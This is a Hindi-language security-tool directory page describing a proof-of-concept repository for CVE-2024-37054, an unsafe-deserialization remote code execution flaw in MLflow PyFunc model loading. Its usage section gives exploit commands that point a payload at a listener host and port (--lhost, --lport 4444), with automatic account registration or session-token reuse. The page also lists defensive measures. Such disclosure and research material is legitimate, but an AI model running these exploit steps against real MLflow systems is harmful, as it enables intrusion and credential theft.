Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/clearlotus-git/cve-2024-37054-poc
रक्षात्मक उपकरणभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगमशीन लर्निंगलर्निंग और शिक्षाAI सुरक्षा
GitHubclearlotus-git/cve-2024-37054-poc

CVE-2024-37054-PoC

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-37054 के लिए प्रूफ-ऑफ-कॉन्सेप्ट और शोध रिपॉजिटरी, जो MLflow PyFunc मॉडल लोडिंग में एक असुरक्षित डीसेरियलाइज़ेशन दोष है जो रिमोट कोड एक्ज़ीक्यूशन का कारण बन सकता है।

रिपॉजिटरी देखें
4घं 39मि पहलेअभी तक समीक्षित नहीं

MLflow असुरक्षित डीसेरिएलाइज़ेशन

CVE-2024-37054

अवलोकन

यह रिपॉज़िटरी CVE-2024-37054 पर शोध का दस्तावेज़ीकरण करती है, जो MLflow PyFunc मॉडल हैंडलिंग को प्रभावित करने वाला एक असुरक्षित डीसेरिएलाइज़ेशन मुद्दा है।

प्रभावित MLflow संस्करणों में, किसी अविश्वसनीय PyFunc मॉडल को लोड करने से Python डीसेरिएलाइज़ेशन लॉजिक एक सीरियलाइज़्ड ऑब्जेक्ट को प्रोसेस कर सकता है जिसमें हमलावर-नियंत्रित व्यवहार होता है। यदि कोई अविश्वसनीय आर्टिफैक्ट लोड किया जाता है, तो मॉडल-लोडिंग ऑपरेशन करने वाले उपयोगकर्ता या सेवा की अनुमतियों के अंतर्गत कोड निष्पादित हो सकता है।

सार्वजनिक सलाह में रिपोर्ट किए गए प्रभावित संस्करणों में शामिल हैं:

root@kitploit:~
MLflow 0.9.0 through 2.14.1

जोखिम

प्राथमिक जोखिम केवल "मॉडल अपलोड करना" नहीं है। खतरा तब होता है जब कोई एप्लिकेशन, विश्लेषक, वर्कर, या ML प्लेटफ़ॉर्म किसी अविश्वसनीय सीरियलाइज़्ड मॉडल आर्टिफैक्ट को लोड करता है।

संभावित प्रभाव में शामिल हैं:

  • MLflow क्लाइंट, वर्कर, या सेवा संदर्भ में रिमोट कोड निष्पादन
  • पर्यावरण चर, क्रेडेंशियल, टोकन, और स्थानीय फ़ाइलों का एक्सपोज़र
  • कनेक्टेड मॉडल स्टोर, डेटाबेस, और आंतरिक सेवाओं तक अनधिकृत पहुँच
  • मॉडल, प्रयोग, या रजिस्ट्री मेटाडेटा का संशोधन
  • ML इन्फ्रास्ट्रक्चर से अन्य कनेक्टेड वातावरणों में गतिविधि

रिपॉज़िटरी सामग्री

root@kitploit:~
build_model.py

एक निजी, अधिकृत लैब वातावरण में उपयोग के लिए एक नियंत्रित परीक्षण मॉडल आर्टिफैक्ट बनाता है।

root@kitploit:~
exploit.py

निजी प्रूफ-ऑफ-कॉन्सेप्ट ऑटोमेशन जिसका उपयोग केवल एक अधिकृत प्रशिक्षण वातावरण में भेद्यता पथ को मान्य करने के लिए किया जाता है। इस रिपॉज़िटरी में लाइव लक्ष्य, क्रेडेंशियल, सेशन टोकन, VPN कॉन्फ़िगरेशन फ़ाइलें, या विनाशकारी पेलोड शामिल नहीं हैं।

उपयोग

इस प्रूफ ऑफ कॉन्सेप्ट को केवल एक अधिकृत लैब वातावरण में चलाएँ।

1. परीक्षण मॉडल बनाएँ

नियंत्रित मॉडल आर्टिफैक्ट बनाएँ:

root@kitploit:~
python3 build_model.py --lhost <YOUR_IP> --lport 4444

2. स्वचालित खाता पंजीकरण के साथ चलाएँ

यदि आपके पास पहले से कोई प्रमाणित सेशन नहीं है, तो स्वचालित पंजीकरण मोड का उपयोग करें:

root@kitploit:~
python3 exploit.py --lhost <YOUR_IP> --lport 4444 --atoz

यह मोड एक अस्थायी लैब खाता बनाता है, एप्लिकेशन में प्रमाणित करता है, और मॉडल-पंजीकरण और सत्यापन वर्कफ़्लो के साथ जारी रखता है।

3. मौजूदा सेशन के साथ चलाएँ

यदि आपके पास पहले से ही एक वैध अधिकृत सेशन है, तो इसे सीधे पास करें:

root@kitploit:~
python3 exploit.py \
  --lhost <YOUR_IP> \
  --lport 4444 \
  --session "<SESSION_TOKEN>"

प्रतिस्थापित करें:

  • <YOUR_IP> को अधिकृत लैब लक्ष्य से पहुँचने योग्य IP पते के साथ।
  • 4444 को आपकी लैब में उपयोग किए गए लिसनर पोर्ट के साथ।
  • <SESSION_TOKEN> को अपने सक्रिय अधिकृत सेशन मान के साथ।

वास्तविक सेशन टोकन, क्रेडेंशियल, VPN फ़ाइलें, लक्ष्य पते, या कॉलबैक विवरण कभी प्रकाशित न करें।

रक्षात्मक मार्गदर्शन

MLflow का उपयोग करने वाले संगठनों को मॉडल आर्टिफैक्ट को अविश्वसनीय इनपुट के रूप में मानना चाहिए जब तक कि उनके मूल और अखंडता को सत्यापित न किया गया हो।

अनुशंसित सुरक्षा उपाय:

  • अविश्वसनीय सीरियलाइज़्ड PyFunc या pickle-आधारित मॉडल आर्टिफैक्ट लोड न करें।
  • न्यूनतम विशेषाधिकार का उपयोग करके मॉडल अपलोड, पंजीकरण, वर्ज़निंग, और लोडिंग अनुमतियों को प्रतिबंधित करें।
  • MLflow वर्कलोड को non-root कंटेनर या प्रतिबंधित वर्कर वातावरण में अलग करें।
  • मॉडल-लोडिंग और प्रशिक्षण इन्फ्रास्ट्रक्चर से आउटबाउंड नेटवर्क पहुँच को प्रतिबंधित करें।
  • मॉडल-प्रोसेसिंग कार्यों के लिए सुलभ पर्यावरण चर में रहस्य रखने से बचें।
  • मॉडल अपलोड, रजिस्ट्री क्रियाएँ, आर्टिफैक्ट पहुँच, और असामान्य सबप्रोसेस गतिविधि को लॉग करें।
  • MLflow सुरक्षा सलाह की निगरानी करें और समर्थित, अनुरक्षित सॉफ़्टवेयर संस्करणों का उपयोग करें।

अस्वीकरण

यह परियोजना केवल रक्षात्मक शोध, शिक्षा, और अधिकृत सुरक्षा परीक्षण के लिए है। प्रूफ-ऑफ-कॉन्सेप्ट वर्कफ़्लो का मूल्यांकन केवल एक नियंत्रित प्रशिक्षण वातावरण में किया गया था। स्पष्ट लिखित प्राधिकरण के बिना सिस्टम, खातों, सेवाओं, या नेटवर्क के विरुद्ध इस भेद्यता का परीक्षण न करें।

टूल डाउनलोड करें